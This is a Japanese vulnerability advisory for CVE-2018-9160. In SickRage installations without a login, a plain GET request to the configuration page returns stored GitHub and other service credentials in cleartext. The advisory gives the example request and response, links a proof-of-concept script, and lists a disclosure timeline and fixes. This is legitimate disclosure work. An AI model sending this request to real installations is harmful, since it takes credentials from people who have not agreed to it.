Sickrageの平文GitHub認証情報 CVE-2018-9160

概要

エクスプロイトタイトル: SickRage HTTPレスポンス内の平文認証情報
日付: 2018-04-01
エクスプロイト作者: Sven Fassbender
連絡先: https://twitter.com/mezdanak
ベンダーホームページ: https://sickrage.github.io
ソフトウェアリンク: https://github.com/SickRage/SickRage
バージョン: < v2018.03.09-1
CVE : CVE-2018-9160
カテゴリ: webapps

背景情報

「SickRageは、テレビ番組向けの自動ビデオライブラリマネージャーです。
お気に入りの番組の新しいエピソードを監視し、公開されると、必要な画質で自動のtorrent/nzb検索、ダウンロード、処理を行うという魔法を発揮します。」 -- https://sickrage.github.io からの引用

脆弱性の説明

SickRageは、HTTPレスポンス内でGitHub、AniDB、Kodi、Plexなどの平文の認証情報を返します。
前提条件は、ユーザーがSickRageインストールにユーザー名とパスワードを設定していないことです。(デフォルトでは強制されません)

HTTPリクエスト:

GET /config/general/ HTTP/1.1  
Host: 192.168.1.13:8081  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.1.13:8081/config/backuprestore/  
DNT: 1  
Connection: close  
Upgrade-Insecure-Requests: 1

HTTPレスポンス:

HTTP/1.1 200 OK  
Content-Length: 113397  
Vary: Accept-Encoding  
Server: TornadoServer/4.5.1  
Etag: "e5c29fe99abcd01731bec1afec0e618195f1ae37"  
Date: Fri, 02 Mar 2018 10:47:51 GMT  
Content-Type: text/html; charset=UTF-8  

<!DOCTYPE html>  
<html lang="nl_NL">  
    <head>  
		[...]  
        <input type="text" name="git_username" id="git_username" value="[email protected]" class="form-control input-sm input300" autocapitalize="off" autocomplete="no" />  
        [...]  
        <input type="password" name="git_password" id="git_password" value="supersecretpassword" class="form-control input-sm input300" autocomplete="no" autocapitalize="off" />  
		[...]  
        </div>  
    </body>  
</html>

概念実証

https://github.com/mechanico/sickrageWTF/blob/master/get_github_creds_sickrage.py

タイムライン

[2018-03-07] 脆弱性を発見
[2018-03-08] ベンダーに連絡
[2018-03-08] ベンダーから返信
[2018-03-09] 脆弱性を修正。(https://github.com/SickRage/SickRage/compare/v2018.02.26-2...v2018.03.09-1)

推奨事項

SickRageのインストールをv2018.03.09-1以降に更新してください。
Webアプリケーションへのアクセスを適切なユーザー認証情報で保護してください。

sickrageWTF

人気

Sickrageの平文GitHub認証情報 CVE-2018-9160